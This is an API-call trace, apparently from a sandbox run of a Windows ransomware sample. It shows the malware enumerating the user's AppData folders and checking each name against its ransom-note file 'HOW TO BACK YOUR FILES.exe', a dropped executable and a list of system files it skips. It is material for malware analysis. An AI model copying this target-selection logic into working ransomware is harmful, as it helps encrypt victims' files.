	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="boot") returned 1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="ids.txt") returned -1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="ntuser.dat") returned -1
	[0042.904] lstrcmpiW (lpString1="Document Building Blocks", lpString2="perflogs") returned -1
	[0042.905] lstrcmpiW (lpString1="Document Building Blocks", lpString2="MSBuild") returned -1
	[0042.905] lstrlenW (lpString="Document Building Blocks") returned 24
	[0042.905] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto") returned 62
	[0042.905] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Document Building Blocks" | out: lpString1="Document Building Blocks") returned="Document Building Blocks"
	[0042.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0042.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa2) returned 0x599450
	[0042.905] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0042.905] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="Apollon865.txt.exe") returned 1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2=".") returned 1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="..") returned 1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="windows") returned -1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="bootmgr") returned 1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="temp") returned -1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="pagefile.sys") returned -1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="boot") returned 1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="ids.txt") returned -1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="ntuser.dat") returned -1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="perflogs") returned -1
	[0042.905] lstrcmpiW (lpString1="Excel", lpString2="MSBuild") returned -1
	[0042.905] lstrlenW (lpString="Excel") returned 5
	[0042.905] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 80
	[0042.905] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Excel" | out: lpString1="Excel") returned="Excel"
	[0042.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0042.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf788
	[0042.905] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0042.905] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a397d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31a397d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.905] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.905] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0042.905] lstrcmpiW (lpString1="IME12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.905] lstrcmpiW (lpString1="IME12", lpString2="Apollon865.txt.exe") returned 1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2=".") returned 1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="..") returned 1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="windows") returned -1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="bootmgr") returned 1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="temp") returned -1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="pagefile.sys") returned -1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="boot") returned 1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="ids.txt") returned 1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="ntuser.dat") returned -1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="perflogs") returned -1
	[0042.906] lstrcmpiW (lpString1="IME12", lpString2="MSBuild") returned -1
	[0042.906] lstrlenW (lpString="IME12") returned 5
	[0042.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel") returned 61
	[0042.906] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="IME12" | out: lpString1="IME12") returned="IME12"
	[0042.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0042.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf700
	[0042.906] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0042.906] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="Apollon865.txt.exe") returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2=".") returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="..") returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="windows") returned -1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="bootmgr") returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="temp") returned -1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="pagefile.sys") returned -1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="boot") returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="ids.txt") returned 1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="ntuser.dat") returned -1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="perflogs") returned -1
	[0042.906] lstrcmpiW (lpString1="IMJP12", lpString2="MSBuild") returned -1
	[0042.906] lstrlenW (lpString="IMJP12") returned 6
	[0042.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12") returned 61
	[0042.907] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="IMJP12" | out: lpString1="IMJP12") returned="IMJP12"
	[0042.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0042.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf5f0
	[0042.907] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0042.907] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="Apollon865.txt.exe") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2=".") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="..") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="windows") returned -1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="bootmgr") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="temp") returned -1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="pagefile.sys") returned -1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="boot") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="ids.txt") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="ntuser.dat") returned -1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="perflogs") returned -1
	[0042.907] lstrcmpiW (lpString1="IMJP8_1", lpString2="MSBuild") returned -1
	[0042.907] lstrlenW (lpString="IMJP8_1") returned 7
	[0042.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12") returned 62
	[0042.907] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="IMJP8_1" | out: lpString1="IMJP8_1") returned="IMJP8_1"
	[0042.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0042.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf678
	[0042.907] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0042.907] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2="Apollon865.txt.exe") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2=".") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2="..") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2="windows") returned -1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2="bootmgr") returned 1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2="temp") returned -1
	[0042.907] lstrcmpiW (lpString1="IMJP9_0", lpString2="pagefile.sys") returned -1
	[0042.908] lstrcmpiW (lpString1="IMJP9_0", lpString2="boot") returned 1
	[0042.908] lstrcmpiW (lpString1="IMJP9_0", lpString2="ids.txt") returned 1
	[0042.908] lstrcmpiW (lpString1="IMJP9_0", lpString2="ntuser.dat") returned -1
	[0042.908] lstrcmpiW (lpString1="IMJP9_0", lpString2="perflogs") returned -1
	[0042.908] lstrcmpiW (lpString1="IMJP9_0", lpString2="MSBuild") returned -1
	[0042.908] lstrlenW (lpString="IMJP9_0") returned 7
	[0042.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned 63
	[0042.908] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="IMJP9_0" | out: lpString1="IMJP9_0") returned="IMJP9_0"
	[0042.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0042.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf810
	[0042.908] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0042.908] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1
	[0042.908] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1
	[0042.908] lstrlenW (lpString="Internet Explorer") returned 17
	[0042.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned 63
	[0042.908] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0042.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0042.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599500
	[0042.908] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0042.908] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1
	[0042.908] lstrcmpiW (lpString1="MMC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.908] lstrcmpiW (lpString1="MMC", lpString2="Apollon865.txt.exe") returned 1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2=".") returned 1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="..") returned 1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="windows") returned -1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="bootmgr") returned 1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="temp") returned -1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="pagefile.sys") returned -1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="boot") returned 1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="ids.txt") returned 1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="ntuser.dat") returned -1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="perflogs") returned -1
	[0042.909] lstrcmpiW (lpString1="MMC", lpString2="MSBuild") returned -1
	[0042.909] lstrlenW (lpString="MMC") returned 3
	[0042.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 73
	[0042.909] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MMC" | out: lpString1="MMC") returned="MMC"
	[0042.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0042.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591740
	[0042.909] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0042.909] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="Apollon865.txt.exe") returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2=".") returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="..") returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="windows") returned -1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="bootmgr") returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="temp") returned -1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="pagefile.sys") returned -1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="boot") returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="ids.txt") returned 1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="ntuser.dat") returned -1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="perflogs") returned -1
	[0042.909] lstrcmpiW (lpString1="MS Project", lpString2="MSBuild") returned -1
	[0042.909] lstrlenW (lpString="MS Project") returned 10
	[0042.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC") returned 59
	[0042.910] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MS Project" | out: lpString1="MS Project") returned="MS Project"
	[0042.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0042.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0042.910] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0042.910] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="Apollon865.txt.exe") returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2=".") returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="..") returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="windows") returned -1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="bootmgr") returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="temp") returned -1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="pagefile.sys") returned -1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="boot") returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="ids.txt") returned 1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="ntuser.dat") returned -1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="perflogs") returned -1
	[0042.910] lstrcmpiW (lpString1="Network", lpString2="MSBuild") returned 1
	[0042.910] lstrlenW (lpString="Network") returned 7
	[0042.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project") returned 66
	[0042.910] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Network" | out: lpString1="Network") returned="Network"
	[0042.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0042.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf9a8
	[0042.910] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0042.910] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0042.910] lstrcmpiW (lpString1="Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.910] lstrcmpiW (lpString1="Office", lpString2="Apollon865.txt.exe") returned 1
	[0042.910] lstrcmpiW (lpString1="Office", lpString2=".") returned 1
	[0042.910] lstrcmpiW (lpString1="Office", lpString2="..") returned 1
	[0042.910] lstrcmpiW (lpString1="Office", lpString2="windows") returned -1
	[0042.910] lstrcmpiW (lpString1="Office", lpString2="bootmgr") returned 1
	[0042.910] lstrcmpiW (lpString1="Office", lpString2="temp") returned -1
	[0042.911] lstrcmpiW (lpString1="Office", lpString2="pagefile.sys") returned -1
	[0042.911] lstrcmpiW (lpString1="Office", lpString2="boot") returned 1
	[0042.911] lstrcmpiW (lpString1="Office", lpString2="ids.txt") returned 1
	[0042.911] lstrcmpiW (lpString1="Office", lpString2="ntuser.dat") returned 1
	[0042.911] lstrcmpiW (lpString1="Office", lpString2="perflogs") returned -1
	[0042.911] lstrcmpiW (lpString1="Office", lpString2="MSBuild") returned 1
	[0042.911] lstrlenW (lpString="Office") returned 6
	[0042.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network") returned 63
	[0042.911] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Office" | out: lpString1="Office") returned="Office"
	[0042.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0042.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf920
	[0042.911] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0042.911] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="Apollon865.txt.exe") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2=".") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="..") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="windows") returned -1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="bootmgr") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="temp") returned -1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="pagefile.sys") returned -1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="boot") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="ids.txt") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="ntuser.dat") returned 1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="perflogs") returned -1
	[0042.911] lstrcmpiW (lpString1="Outlook", lpString2="MSBuild") returned 1
	[0042.911] lstrlenW (lpString="Outlook") returned 7
	[0042.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office") returned 62
	[0042.911] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Outlook" | out: lpString1="Outlook") returned="Outlook"
	[0042.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0042.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bfa30
	[0042.911] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
